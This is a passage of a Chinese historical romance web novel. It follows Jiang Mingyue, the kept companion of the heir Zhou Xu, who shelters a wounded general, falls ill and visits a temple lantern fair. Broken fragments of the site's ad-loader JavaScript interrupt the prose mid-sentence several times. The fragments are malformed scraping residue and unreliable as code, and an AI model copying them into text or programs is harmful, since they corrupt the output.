红袖听到动静,走了进来。 “娘子醒了?” 姜明月感觉一阵酸软,忍不住又倒回床上。 “公子是什么时候走的?” “应该是卯时左右。” 红袖一早便来收拾过屋子,自然知道世子昨天来过。她脸红红的,却也为二人相处融洽而开心。 “嗯,我知道了……”姜明月将脸埋进枕头,声音闷闷的。 “娘子起来用膳吧?” “红袖……”姜明月抬起头,神色有些凝重,又有些难为情。 “能不能拜托你,帮我去打听件事?” “打听事?”红袖不解,“让我来吗?” 姜明月点点头,她声音低低的,“我想让你帮我打听一下……尚书右丞张府。” 见红袖还是不解,姜明月继续解释道:“那是我娘的母家。” 红袖恍然大悟。原来娘子的外祖是尚书右丞。 “可我……”可她对京城也不熟,怎么去打听呢? 姜明月自然也知道这一点。她想了想,打开妆匣,取出一点碎银。 “劳你跑一趟,平时就说替我去买点布料……”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 红袖拿着银子,迟疑着点头。 如今姜明月住在周诩的私宅,自然也不可能只有一两个丫鬟伺候。红袖要出门,江嬷嬷便叫了一个老实的小丫鬟与她一起去。 她大概也能猜到,姜明月有自己的心事。如避子汤这种事,她也不过睁一只眼闭一只眼。虽然她曾经是世子的人,可如今的主子是姜明月。 红袖出去了,世子不在,姜明月也无事,便只能做做针线打发时间。将军在她脚边转悠,姜明月弯下腰摸了摸它。 然而午时,天色变暗了下来。乌云压境,姜明月朝外看了看,有些担忧。 将军似乎也有些不安。它呜咽几声,朝屋外冲了出去。 “将军!” 姜明月想要叫住它无果,只得站起身,跟着它一起来到屋外。将军一下跑远了,姜明月取了把伞,连忙跟上它。 还未走远,雨便淅淅沥沥地落了下来。姜明月撑起伞,一边走,一边喊着将军的名字。 “将军!将军——” 她话音还未落,雨幕中突然闪出一道黑影。 姜明月吓得手一松,撑着的伞堪堪要落地,下一瞬又被人接住。姜明月感觉有人钳住了她的咽喉。 不久前才被人以这样的姿势挟持过,姜明月感觉自己脖颈上那道伤又开始疼了。 “你是谁?为何知道我的身份?” “……” 姜明月一头雾水,不知道身后这男人在说什么。男人似乎也意识到眼前这姑娘确实没什么威胁,便放松了手上的力气。 “汪!” 一道白影从雨中钻了出来,跑到姜明月脚下。 “将军……” 男人皱了皱眉,“你说什么?” “我说,这只狗叫将军……这位公子,你能不能松开我?” 贺怀珏一愣,迟疑片刻,终于松开手。 姜明月摸着脖子咳了一声,转过身,这才看清眼前的人。 年轻男人生得也无比俊朗,然而他穿着一身黑袍,满脸阴郁,雨水淋湿了他的头发,看着竟如地狱使者一般。 而贺怀珏也看清了眼前的人。她撑着伞,婀娜娉婷,站在烟雨中。贺怀珏想到刚才自己的所作所为,不由得脸色发红。 姜明月看着眼前的不速之客,皱起眉头。 “这位公子,你怎么会在我家院子里?” “我……”贺怀珏张了张口,不知道怎么解释,最后只能说道,“抱歉,我刚才以为你在叫我,我暴露了身份,因为我也是,将军……” 他闭了闭眼,才将这句话说完。 “我有公务在身,但是受了伤,不是可否暂借姑娘府上一避……” 若是让她说,这不是她的宅子,自然不能让她决定。然而他口口声声称自己为将军,又有公务,不帮似乎也不行。 姜明月思索片刻,才问道:“将军有信物为证吗?” 贺怀珏倒是没想到,在这内宅之中,还有如此警惕的姑娘。好在金印他是必须随身携带的。 他轻笑一声。 “自然是有的。”贺怀珏取出金印。金印虎符在雨中依旧闪着古朴的光。 “姑娘这下可信了吧?” 21. 强势 姜明月半信半疑,但见他一身正气,倒也不像作假。 话又说回来,就算他是歹人,以他的身手,自己想来也没什么还手之力。 想清楚这一点,姜明月不欲再与他纠缠。点点头,姜明月撑着伞准备往回走。 “既如此,那就请将军自便吧。” 她的衣裙经过刚才的挣扎已经被淋湿了大半,湿漉漉黏在身上,不仅难受,被风一吹更是凉飕飕的。 “姑娘稍等!不知能否请姑娘替在下拿点伤药来?”贺怀珏见她要走,连忙上前叫住她。 姜明月往后退了一步,想了想,也觉得送人要送到西,便同意了。只是他要保密,不想让更多人知道他的存在。姜明月无法,只好让他等着,自己回了房间,翻了半天,翻出自己前段时间受伤用的药酒。 她在回到院中,见贺怀珏找了个地方避雨,躲在假山后面。他正掀起自己的袍子要检查伤势,见姜明月来了,连忙放下衣袍,有些不自在。 姜明月没看到,她只想赶快回去换身干爽的衣服。 “将军,这里还有一点药,不知道够不够,您先用着。” 姜明月将药递了过去。 “等雨停了,将军就自行离开吧。”她低声道。 贺怀珏点了点头。 “多谢姑娘,我自然不会给姑娘添麻烦。”他顿了顿,小麦色的皮肤有些发红,犹犹豫豫,接着又说,“……不知姑娘芳名?” 见姜明月一下子睁大双眼,不明所以地望着他,贺怀珏知道自己的话有些唐突,连忙解释道:“姑娘别误会。我只是欠了姑娘一个人情,想要找机会报答。” 姜明月听了,没立刻回答他,只是撑着伞,露出若有所思的表情。 “将军想要报答我?” “正是。只要在下能做到的,姑娘尽管开口。” “那将军知道……尚书右丞张府,早年出嫁的大姑娘,现在如何吗?” 姜明月抿着唇,手无意识地攥紧油纸伞的竹柄。 对于当年离开的母亲,她不知道自己是什么感情。若说怪她当年抛下自己,可让孤儿寡母,母亲那般年轻,出身也高,如此对她也不见得公平。 母亲于她,到现在更像是一种执念吧……姜明月也想知道,母亲如今有没有后悔当年的决定。 “尚书右丞……”贺怀珏面上露出茫然。他仔细回想,然而他身为武将,年纪又轻,对尚书右丞这样的四品官实在没什么印象。 姜明月见他如此,便知道了他的答案。不过她也没有太失望,毕竟京城连三品官都那么多,谁又会知道一个四品官都事,况且那么多年过去了,也不知当年的尚书右丞现在如何。 她本就是抱着试试看的心态,见贺怀珏皱着眉,便对他笑了笑,“多谢将军,本也不是什么大事。将军休息吧。” 贺怀珏还想说什么,然而一阵风吹来,姜明月打了个冷颤,也不便多待。她朝贺怀珏福了福身,之后转身离开。 等姜明月回到房中,就见江嬷嬷正急得不行。她见到姜明月,这才重重松了一口气。 “娘子你去哪了?下这么大雨,哎呦你身上也湿了,赶紧换身衣服。” 姜明月有些心虚,她拉住江嬷嬷,“嬷嬷对不起……将军跑出去了,我就去寻它了。” 这么说也没冤枉将军。将军也跟着她回来了。它原本蓬松的白毛被雨淋湿了,正在廊下使劲甩水。 “行了,以后别管它。这要是感了风寒可如何是好?” “红袖回来了吗?” “回来了。那丫头也受了寒,正喝姜汤呢。” 江嬷嬷催促着她去换衣服,又打了水给她泡澡驱寒。等换了衣服,姜明月才见到端着姜汤来的红袖。 红袖等姜明月喝了姜汤,才轻声道:“娘子,我打听过了。如今的尚书右丞,已经不姓张了……” 姜明月没出声,点了点头。 她放下碗,“我知道了……多谢你。” 红袖使劲摇摇头,“这不算什么。娘子方才受了寒,还是先休息一下吧。” 红袖知道,昨夜折腾了许久,要她说,她家娘子定是没怎么休息的。现在又淋了雨,最容易生病了。 姜明月还没有困意。她眼巴巴地望着红袖,然而红袖毫不为她所动,压着姜明月躺下,替她盖上被子。 “娘子休息吧!” 周诩过来时,院中十分安静。他一问,才知道姜明月方才歇下了。等他进了屋,就见姜明月不知何时已经醒了。 她半张脸埋在枕头里,青丝黏在脸上,似是脸上被汗湿了。白皙的脸上带着不正常的红晕,她红唇微启,小口小口喘着气。 听到动静,姜明月倒是警醒,朝门口望去,只是那一眼有气无力,看着软绵绵的。 认出来人,她眼睛一亮。 周诩却收起笑容,表情严肃,走上前。 他抬手,姜明月缩了缩,下一秒,就感觉到他骨节分明的手落到自己额头上。 他的手背冰凉,姜明月有一瞬恍惚。接着他又翻手,姜明月能感受到他手掌上薄薄的茧子,那不是文弱书生,而是常年习武之人才会有的。 公子似乎从来都不只是表面看起来那样…… 迷迷糊糊的,姜明月脑中突然升起这个念头。不等她细想,周诩已经从一旁倒了杯茶水,试了试温度,递到她眼前。 “你发热了。” 他语气平静,听不出喜怒。周诩将她扶起来,让她靠在自己身上,又将茶水送到她嘴边:“先喝点水吧。” 姜明月顺从地喝了水。只是热茶入腹,她却觉得浑身更热,想要扯开身上的被子。 周诩有些无奈,将怀中的人搂得更紧,不让她乱动。 “你现在不能吹风。” “我难受呀……”姜明月嗅着周诩身上清冽的气味,只觉得头更晕了。她抬手,想去推周诩,却又手脚发软,最后变成抵着他的胸膛。 “我去找大夫……”周诩刚想起身,见姜明月这幅模样,又改了主意。他转头,朝门口道:“随安。” 随安推开门,躬身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 走了进来。他知道这是姜娘子的房间,故而并不抬头,就听世子清润的声音传来:“去请大夫来,姜娘子发热了。” “是。” 随安转身向外走,身后隐隐约约还能听到姜娘子对世子道:“公子离我远点,别被我过了病气……” 只是她声音虚弱,听起来更像撒娇一般。随安不敢再听,加快脚步,顺便对门口的红袖摇摇头,示意她不必进去。 周诩自然不会听她的。 他轻叹一声,温声道:“你听话就是,不必担心我。” 谁知这句话,却不知为何,让姜明月霎时红了眼眶。 姜明月只觉得心中酸涩,莫名的委屈。 自己对周诩的事一无所知。从一开始,她甚至不知道他的身份。虽然她知道自己不该去过问其他事,只需要当好一个乖顺的外室。若是他来了,自己只要让他开心就是。可大概是因为她病了,被他这么一说,姜明月却难过,心中升起不甘。 “为何不能担心公子?”姜明月仰起脸,眸光潋滟,似有几分不依不饶的架势,“那公子可能与我说,你今日去哪了?” 她话落,周诩桃花眼微微眯起,眸光深邃。 他今日……同他父亲武昌侯一起,请户部尚书去用了午膳。 这次确实是在他的计划之外。武昌侯一下朝,就去请了户部尚书,而他没有明说这次宴请的目的,只和户部尚书二人心领神会,也不给周诩拒绝的机会。 户部尚书对于让仪表堂堂,人品贵重的武昌侯世子做女婿自然没有什么不满。他与武昌侯更是相谈甚欢,甚至还约了下次去京郊垂钓。 周诩面上带着笑容,垂着眼,却没有说话。 他……只觉得心中一空,一时之间竟没有办法应下同去。 “公子?公子……” 姜明月看他出神,有些不高兴地唤他,手也攥住了他的衣襟,扯得他领口凌乱。 周诩回过神,望着她这副模样,竟笑了起来。 “自然。今日早朝,所以我便离开得早些。说起来,都是公务罢了。” 这么说也不算说谎。 周诩面色如常,笑容温润。 “公务?公子平日,都做什么?”姜明月对他的回答不甚满意,忍不住追问。 “你若想知道,不如下次我让你看看。” “真的吗!” 姜明月杏眼中满是惊喜,她似乎一下子有了精神,身子也不由得向前,倒在他身上。 “嗯。”周诩点头,“只是我也不能白白让你看。” 姜明月懵懵懂懂,还不理解他的意思。然而周诩冰凉的指尖已经抵住了她的后颈,稍一用力,便让她的头不自觉地仰起,紧接着柔软的双唇覆了上来。 姜明月双眼睁大。 除了羞意,她心中也有些焦急。他们不能这样啊,她还病着,万一过了病气给公子怎么办! 她抵着周诩的肩头,想要推开他。可是莫说她正病着,就是她平时的力气,也撼动不了常年习武的年轻男人半分。 22. 出门 许久后,周诩才放开她。 姜明月早就没了力气。她晕乎乎的,原本抵挡的手也变成搭在他肩上,任由周诩抱着自己。 她喘了几口气,终于缓了过来,忍不住嗔了周诩一眼。她双颊通红,眼角还噙着泪水,反观周诩,像个没事人一般,只有眼角眉梢透着红,莫名的旖旎。 “若是公子得了风寒,可别后悔。” “自然不会后悔。” 他习武多年,身体好,寻常不生病,自然不会在乎。 周诩对她露出笑容,神情自若,看着不甚在意。只是他知道姜明月对他的担心,当下心中一软。见她像没了骨头似的,懒懒趴在自己身上,他不由得摸了摸她披在身后柔软的长发。 大夫很快便提着药箱来了。他隔着帘子替姜明月诊脉,很快便有了结论,就是普通风寒。 普通风寒归普通风寒,虽说吃几副药便能好,可该受的罪却一点也不少。姜明月先是发热,很快四肢又开始酸痛无力,只能整日躺在床上。 而将军,被江嬷嬷率先禁止靠近姜明月了。 要她说,若不是它下着雨还跑出去,娘子又怎么会着了凉。 周诩弯着桃花眼,笑眯眯地在跟在他身后的将军面前关上房门,剩下小白狗可怜兮兮地扒着门。 姜明月有些心虚。自己会染上风寒,一大部分原因是因为那天院子里的不速之客。 想到那天的年轻男子,也不知道他最后是什么时候离开的。 不过,自那日以来,这些天都没有发生什么事,想来这件事就这样过去了吧。 如她所想,贺怀珏确实在当日雨停后便离开了别院。 临走前,他绕到院子正面,远远地看了眼牌匾。 “唐……” 他暗暗记下这姑娘的姓氏,想着虽然他目前不知道那张右丞出嫁的大姑娘之事,但待他查清,定要再报答这位姑娘。 姜明月自然不知道,自己那日无意中帮助的人会如此上心,而她过不了多久,又会再次见到他。 眼下,她正望着门口的方向,抓着被角,听着将军委屈的叫声,爱莫能助。 周诩见她如此,从公文后抬起头,冷眼看着,轻哼一声。 他怎么觉得,自己成了硬生生让这一人一狗分离的恶人。 自从姜明月得了风寒,在房中也做不了什么事,周诩便将自己的公务都搬到了她的房中,整日陪着她。 这么一看,他倒是显得多余了。 等姜明月听到他的声音,扭头看来,周诩不动声色,勾起唇,“整日待在房中很无趣吧?等你病好了,我带你出门。” 姜明月愣愣地望着他,等反应过来他说了什么,才欢喜地坐直身子,“公子要带我出门吗?” 周诩颔首。姜明月眼睛亮晶晶地望着他,“我还没有见过真正的京城是什么样子的呢。” 她念着江嬷嬷之前跟她说过的那些事。周诩见她注意被转移,脸上的笑容更深。 可姜明月念着,声音却越来越小。她有些迟疑,“公子,这些天你一直陪着我……没事吗?” 她知道自己是外室,既然如此,周诩就不该一直跟她在一起…… 姜明月紧紧抿着唇。她心中一紧,竟不愿接着往下想。 她不知道自己这是怎么了,正在愣神,周诩沉吟片刻,站起身,来到床边坐下。 姜明月怕他。 周诩指节微微收紧。 他看出来了。她在他面前小心翼翼,总是带着讨好的笑,而她骨子里,根本不是这样的性格。 他轻轻呼出一口气,柔声道:“明月,相信我好吗?” 他确实是一个有野心之人。 可正因如此,他所做的事都是有把握且理智的。 这一次,“明月”二字不带任何戏谑。姜明月抬眼看向他,见他嘴角噙着笑,表情郑重。 她听懂了。他话中的相信,指的不光是这一件事。 水汪汪的杏眼眨了眨,她抿着唇,嘴角还是不由自主地扬起。 “好。” 姜明月对他甜甜地笑了起来。心口一直堵着的东西似乎逐渐消失了。 她不再去提心吊胆地想东想西。见周诩伸出手,姜明月眉眼弯弯,蹭了蹭他的手心。 等蹭完,姜明月才一僵,意识到自己做了什么。 她刚才,居然和将军做了同样的动作! 她僵着身子,悄悄抬眼去瞟周诩。 他模样坦然,像是浑然不知,一下一下慢慢给她顺毛,“乖啊……” 但是看他眼中的笑意,他分明也发现了。 姜明月垮下脸,有几分破罐子破摔的架势,依偎进周诩怀中。 她搂住他的脖子,说是依偎,倒像是整个人坐在周诩怀里。周诩不明所以,也不阻拦,任由她动作。 姜明月窝在他怀里,扬起头,学着将军的样子贴上他的脸。 她感受到身下之人难得的僵硬,才将脸埋进他的颈窝,偷偷笑了起来。 周诩深吸一口气。 他挑眉,意味深长地摸着她的后颈,“跟谁学的?” 他手经过的地方带起颤栗,姜明月稳了稳心神,才软软地开口:“不是跟谁学的,是我情不自禁……” “……” 周诩听完,沉默了好一会。 “把将军送到庄子上吧。” “不……” “谁让将军这么碰你呢?” 周诩说得慢条斯理,那笑容落在姜明月眼里,却让她惊恐地睁大眼。 下一瞬,周诩却如冰雪消融,止不住地笑了起来。 “与你开玩笑的。过几日,带你去京郊玩。” 等随安有事找周诩,周诩出去后,姜明月坐在床上,望着他离开的背影出神。她还有些不敢确定,周诩刚才到底是不是真的在开玩笑。 红袖进来将凉了的茶换走,见姜明月一动不动地坐着,有些奇怪。 “娘子,有什么事吗?” 姜明月听到她的声音,转头像她看去,摇摇头。 “将我的药端来吧。我觉得我再喝两天就好了。”她笑笑,长出一口气,“公子说等我病好了,带我出门。” “真的吗?太好了。” 红袖也替她高兴,顾不得其他,端着茶盘向外走。 “我这就去给 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 娘子端药来。” 药是一早就煎好的,放在炉子上温着。因为刚才世子在房中,红袖便也没急着进去。 姜明月将方才乱七八糟的那些念头抛开,接过药碗。 她看着黑漆漆的药汁,捏住鼻子灌了下去,接着吃了一块蜜饯,将苦味压下去。 “娘子之前喝药从来不要蜜饯呢。”红袖有些佩服。虽然蜜饯从前也都是备着的,但姜明月却不怎么吃。 姜明月拿着帕子擦药渍的手却一顿。 红袖不说,她都没有发现,自己不知从何时起喝完药后也需要吃蜜饯了。 从前她不吃,也不是因为她不怕药苦,只是蜜饯太贵,在抚春楼是吃不到的。若是有人敢抱怨药苦,老鸨只会冷笑一声,笑她们把自己当作公主不成,这般娇气。 她现在也变得娇气了呢。姜明月又取了一块蜜饯,只觉得蜜饯果然甜滋滋的。 养了几日的病,姜明月的风寒果然痊愈了。虽然江嬷嬷努力给她做补品,但是她还是不可避免的瘦了一圈。江嬷嬷看着心疼,还是姜明月安慰她:“嬷嬷你瞧,这都入夏了,我瘦一点,穿上夏衫不是刚好吗?” 江嬷嬷一听,觉得有道理。等听周诩说要带姜明月出门去京郊小住,她更是恨不得把所有好看的衣裙都带上。 “嬷嬷,用不着带这么多吧……” 姜明月见着大大小小的箱笼,有些瞠目结舌。她也是第一次意识到,周诩竟在不知不觉中为她准备了这么多衣物。 其实周诩并没有特意去管这些,他只是让他名下的成衣铺子定期给她送衣服首饰而已。 然而只是这样,铺子的掌柜却不敢慢怠,每次都选了各种各样的衣裙送来。 江嬷嬷一边收拾东西一边说,“这些不算什么,往日夫人出门……” 她没继续往下说,似乎意识到姜明月如今身份尴尬。 周诩从外面进来,目光扫了一眼这些箱笼,并没有反对。然而他却被江嬷嬷瞪了一眼。 周诩不明所以,一旁的姜明月坐不住,起身走到他身边。 “公子,我出门带这些东西,会不会不合适?” “无碍。” 她带多少周诩都没有意见,本来带她出门就是希望她不要整日闷在院子里。 旁边的江嬷嬷听他这么说了,脸色稍霁,指挥着仆从将她收拾好的箱子搬出去。 她本就不支持世子弄什么外室。她跟着先侯夫人这么多年,自然也知道她不得夫君真心所受的苦。江嬷嬷自然不希望见到世子因为风流而去伤害女子的心,可既然世子不是风流之人,如今对姜明月又态度不明。 车队朝京郊驶去。姜明月与周诩乘着同一辆马车,她掀起车帘的一条缝,看了一会,转头问周诩。 “公子,我们这是去哪里?” “去京郊的山寺。我和寺里的住持有几分交情。” 也正是因为如此,他才敢放心带姜明月小住。 不过他并没有同意让姜明月带上将军。所幸姜明月也只是见将军可怜,提了一句,见周诩脸色不善,她立刻止住话头。 等太阳当头高高挂起时,他们才终于到了山寺。 23. 偶遇 寺庙坐落在半山腰,从山下隐隐约约能看到大殿的屋顶。路过山门时,姜明月掀起车帘向外看去,才发现这山寺香火旺盛,来往的香客络绎不绝。 马车没有在山门前停下,而是从山寺的偏门驶了进去。直到来到一处幽静的宅院,马车才停下来。红袖扶着姜明月,踩着车凳下了马车。 刚下车,姜明月便感受到一股凉意袭来,是山间特有的草木流水的气息,夹杂着寺庙的香火,让人不由得心旷神怡。 姜明月几乎是一下子就喜欢上了这里,她也终于理解为什么那么多人会专程来这里上香了。 周诩见她双眼明亮,发丝飞扬,却被她毫不在意地撩到耳后,也不由得被她感染,抿着唇笑起来。 早有一小和尚等在院门口。等周诩走上前,他深施一礼。 “施主好。师父知道你们今日来,已经将厢房收拾好了。” “多谢。不知住持可有空?” “师父正在讲经。待他结束,自然会来拜访。” 周诩谢过他,带着姜明月走进院中。 因着终归是寺庙的院子,姜明月和周诩并没有被安排在同一间房,寺里为他们一人安排了一间厢房。 姜明月下意识跟着周诩进了房。等见到屋内的布置和那明显只能容纳一人的床塌时,她先是愣了一下,还有些疑惑,“这床是不是有点小……” 话没说完,她接着才反应过来。 姜明月的脸腾地红了。 她转身就想走,不料却被拉住,肩头靠上他的胸膛。姜明月回头,对上周诩的桃花眼,流光溢彩。她看了一眼便垂下了眼帘。 “怎么没说完就要走?”他的声音一如这山间的风般轻柔,“刚才想说什么?” “没什么。”姜明月使劲摇摇头。 “哦……”周诩像是信了,手上却也没松。 他穿着常服,长发并未全部束起,略微倾身,垂眸看向她。山间清风从窗缝钻进来,吹起他垂在胸前几缕长发。 发梢轻碰姜明月的脸,她只觉得周身被周诩的气息所包围,让她心烦意乱,脸上的热意不曾退减。 “你若是想与我——” “公子,”她抿唇浅笑,脸上还红彤彤的,似乎有些羞赧。她抬眼朝周诩望去,轻声道,“佛门重地,唔……咱们还是注意一点吧?” 她的视线又落在周诩拉着她的那只手上,像是意有所指。 周诩挑眉。 目光重新回到她身上,他双眼微微眯起,不知道在想什么。 姜明月不等他开口,稍微躬身挣开他的手,从他手边钻了出来,飞快朝门口走去。 “我去看看另一间厢房……” 她发上两只对称的蝴蝶钗随着她的动作,颤巍巍地跳动。 周诩并未阻拦。望着她的背影,他脸上罕见地流露出恍神,似乎在思索着。 不知道是不是他的错觉,姜明月刚才,在他面前有了几分少女的羞涩。 等他回过神时,周诩忍不住笑了起来。 姜明月逃也似的出了厢房,站在院子中。江嬷嬷等人正在收拾东西,见到她出来,还有些好奇。 “娘子,你怎么出来了?我一会就把娘子的东西搬进房内。世子在里面吗?” 姜明月胡乱点点头。 刚才一直没见到的红袖兴冲冲地从外面走了进来,“娘子,前面好热闹。我找小师傅打听了一下,这两日有庙会呢,晚上还有花灯。” 明日是佛历节日,原本只是寺庙内独自庆祝,点上莲花灯,摆出斋食任来上香的香客与方圆内的穷苦人食用。 后来,来的人越来越多,商贩们自然看中了商机,开始在寺庙外摆起了摊子。他们贩卖的那供奉的花灯也越来越精致,隐隐就脱离了摆花灯的本意,成了如今的灯会。 京郊本就不如京中那般繁华热闹,有了庙会,京郊的百姓也有了赚钱的机会。这样一来,寺中的僧人也就不再阻止。 姜明月长于江南,那边的风俗和京城不尽相同。她听了,便也变得与红袖一般满心期待。 “看来娘子晚些时可以与世子一同去游玩了。”江嬷嬷忍不住笑道。 提起周诩,姜明月红着脸点点头,心中有隐秘的欢喜。再想起刚才与周诩之间发生的事,也让她心跳得飞快。 果然,等临近夕阳西下之时,山寺更加热闹。他们的院子离得远,也能听到前面传来的声音。 周诩与姜明月沿着长街走着,两边的商贩都在自己的摊子上摆了一盏花灯。虽然天还未完全黑透,但有些人便已经点上了灯烛,发出莹莹灯光。 很快,姜明月便眼前一亮,注意力被一个小摊上的花灯吸引。 “公子你来看,这灯样式,和我小时候见过的一样呢。” 周诩跟在她身后走近摊子,垂眼看来。 这是一盏多角形的纱灯,上面铺满一簇簇鹅黄色的小花。只一眼,他便认出这定是中秋金桂时节的花灯。烛光被蒙上一层鹅黄,落在姜明月脸上,如朦胧的月光般,衬得她双眼比琉璃还晶莹。 小贩正与姜明月说这花灯的来历,正是从江南得来的。他不经意一瞥,见那温润如玉的矜贵公子正静静注视着眼前看着花灯的小娘子。 小贩会心一笑,倒是想起了家中的妻子,看来这勋贵与他们普通人家也没什么不同。 不过他还记得自己此行是卖摊子上的东西。见状,他忍不住清清嗓子,开口道:“公子给小娘子买副面具吧。我这面具都是自己做的,上面的图案是我妻子画的……” 周诩闻声抬眼,与小贩对视一眼。接着,他重新低下头,见姜明月侧头看向那些面具,便温声对她道:“若是喜欢,就选一个。” 摊子上的面具虽然不够精致,却也能看出制作之人是十分用心的。姜明月想了想,偏头问周诩:“公子可以与我一起戴吗?” 她语气中的期待之意十分明显,周诩一哂,点头算是应下。 得了他的答复,姜明月便 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 饶有兴趣地看了起来。最后她挑了两个听说是左右护法的面具。在小贩意外又沉默的目光中,她将其中一个递给周诩,帮他戴上。 她踮起脚,举着面具,周诩下意识弯下腰。少女的气息如月下金桂,离得极近,周诩能感受到她拿着面具,双手的肌肤传来的热度。 周诩一动不动,直到姜明月收回手,他回过神,就见姜明月望着他,笑颜灿烂。 “公子,你戴上这面具可真威风。我的话,想必会很可笑吧……”说着,她笑得更厉害,将自己那副面具也戴上去,只露出一双明亮的眸子。 “没有,你也很威风。” 周诩咳了一声。他转过头,忍住笑意,将银钱递给小贩。 姜明月听见了他的笑声,撇了撇嘴。 等周诩买完,姜明月的兴致明显比刚才更高。她目不暇接地望着街上各式各样的花灯,脚步也不由得放慢。这时街上的人比刚才更多,甚至还有杂耍在表演,周围围了一群人。 她看着看着,目光逐渐落到先她一步到周诩身上。 姜明月有些恍神,想起了在吴州,她刚离开抚春楼,周诩带她出门时的场景。他的背影一如既往的挺拔,那时她跟在他身后,望着他,不敢上前。 她正出神时,周诩停下脚步,回身,像是在等她。等她走上来了,他才重新迈步。 人潮涌动,人群之中,姜明月紧紧挨着周诩。她有些不安,抬手,想要去抓周诩的衣袖。然而她的手才抬起,碰到袖口,就感觉他反手,紧接着,一只温暖干燥的手牵住了她的手。 她一愣,抬头朝周诩看去。周诩带着面具,看不清他的表情。感受到她的目光,他转头,“人多,小心点。” 姜明月感觉自己的心又跳得快了起来。她点点头,没说话,只紧紧抓着他的手。 周诩长得高,他粗略看了一眼,前面来的人还在不断增多,便与姜明月提议:“我们去前面的铺子休息一下吧。” 姜明月也觉得街上有些拥挤,并没有异议。 他们向前走着,却没有发现,刚才与他们擦肩而过的一行人中,有人不敢置信地睁大眼睛,猛地回头。 她死死望着周诩的背影,皱起眉头,脸上露出疑惑。 这一行人被仆从打扮的人护在中间,各个身穿华服,一看就是富贵人家的公子小姐。见这女子停下,她身边的人顺着她的目光看了一眼,没看出什么特别的,见她迟迟不走,便有些不耐烦。 “周蓉莺,你在看什么呢?还不走?人这么多我都受不了了。” 周蓉莺回头,见她目露不悦,连忙陪笑:“郡主赎罪,我没看什么,就是觉得刚才那人有些眼熟。咱们走吧。” 见华安郡主还要说话,贺怀钰看了看最前面男子的表情,接着出声制止。 “华安,三皇子还在,莫要失了礼数。” 见兄长开口,华安不敢再说话。 三皇子笑笑,“若是累了,不如我们找地方休息一下吧。” 24. 撞见 三皇子的提议,自然没有人不同意。更何况,贺怀钰等人就是专门为了三皇子出门的。三皇子是叶贵妃之子。原本他也该封王的,然而却硬生生被太子一党压了下去。皇帝无法,除了皇后所出的太子和成王,竟没有其他皇子封王,只说等皇子成婚后再开府封王。 作为皇帝宠爱的皇子,三皇子的婚事便成了香饽饽。而贺怀钰的母亲,荣国长公主也动了心思,想要将女儿华安郡主嫁给他。贺怀钰不知道三皇子这位表哥和他母亲做了什么交易,只是他与妹妹华安都不是很看好这桩婚事。 周围做陪的几家公子小姐见三皇子开口了,也被转移了注意,无人再去关注周蓉莺。 周蓉莺松了口气,悄悄拿眼去瞟远处气宇轩昂的三皇子。想到他那句话给自己解了围,她忍不住红了脸。 可下一秒,她又想起罪魁祸首,刚才她无意中看到的那人。 虽然他带着面具,但是那身形和声音,分明与她的兄长一模一样! 周蓉莺与周诩同父异母。她作为武昌侯的第二个女儿,还是庶出,从小便不受什么重视。除了她的姨娘,竟然就是周诩这个长兄对她的关照最多。 他虽然待所有妹妹都一样,不冷不淡,却会在她需要帮助的时候伸手。周蓉莺还记得她小时候被书院的一对兄妹欺负,周诩一言不发,却与那二人打了一架,从此无人再针对武昌侯府的学生。 周蓉莺向来重视周诩这个兄长,因此也对他的言行举止印象深刻。 如果真的是周诩的话,他怎么会出现在这里? 难道是有公务? 周蓉莺与周诩算不上熟,也不知道他的行程,只是有些惊讶他会出现在庙会这种地方。 而且,她没看错的话……周诩身边还有个女子? 周蓉莺心思细腻敏感,自然一眼看出那人和身边的女子关系不寻常,何况他们还戴着相似的面具。 难道大哥他……不可能。周蓉莺被自己的猜测吓了一跳。周诩身边从没有关系亲密的女子。那人要不就不是她的兄长,要不然,就是她兄长在执行什么任务或是应酬了。 她在府中隐约听说,大哥要和户部尚书府上定亲了。那他必然不会在这个风口浪尖做对亲事不利的事。 想通后,周蓉莺重新调整了心情,露出笑容,跟上前面几人。 周蓉莺在一行人后面,周诩并未注意到她,但他确实认出了为首的三皇子。 周诩与成王交好,当然不会与三皇子有什么深厚的交情。周诩与三皇子擦肩而过,只当没见到他。 他与姜明月来到前面的茶铺。茶铺不大,却建成了二层的小楼。从二楼的窗户向外看,能看到如繁星般的灯火,顺着长街的坡道蜿蜒向上,没入寺庙灯火通明的大殿楼阁之中。 不大的茶铺自然不会有厢房,好在二楼价格稍微贵一些,因此并没有什么人。二人在靠窗的位置坐了下来,店里的伙计将茶牌和菜牌拿过来,热情地招待他们。 “二位吃点什么?喝什么茶?” 伙计年纪不大,却是个机灵的。他目光在姜明月与周诩之间转了转,见二人像是夫妻,便提议道:“咱们还有新酿的桃花酒。正是用上一季的桃花酿的,度数浅,味道却是极香。” 伙计能说会道,这桃花酒被他形容得颇为诱人。姜明月听着,眼睛亮了起来,尤其是听说这酒并不容易醉人。 姜明月酒量虽然不好,可若是普通的果酒一类,她也是能喝的。 “公子,我想尝一尝这酒,行吗?” 她还记得自己第一次与周诩喝酒时她都做了什么……姜明月每每想到那一日自己的所作所为,都心虚得不行。 她生怕周诩不许她再喝酒,只能眼巴巴地望着他。 周诩低头看着她如泉水洗涤过清澈的双眼,点了点头。 他又让伙计上几道招牌的点心,伙计得令,忙不迭地走了。 不过一会,酒便被端了上来。清澄的液体,散发出馥郁的花香。姜明月迫不及待地尝了一口,果然不怎么辣。 周诩支着下巴,看着她一口一口地喝着桃花酒。不用问,也知道她喜欢这酒。 然而看着看着,周诩却看出了端倪。 虽然这酒度数浅,但是姜明月显然喝得超出了她的酒量。 她白皙的脸上泛起红晕,呼出的气息也带着桃花味,晕乎乎地盯着眼前的一处,整个人仿佛一颗成熟的水蜜桃,甘甜多汁,一戳便会软乎乎倒下。 “明月?先用点点心,我们回去休息。” 瞧她这模样,等一下就要睡过去了。周诩无奈,只得劝她吃点东西,晚些时不至于胃痛。 “回去?为什么?我们不逛了吗?”姜明月眨了眨眼睛,看向他。 “……你喝醉了。我们先回去。” 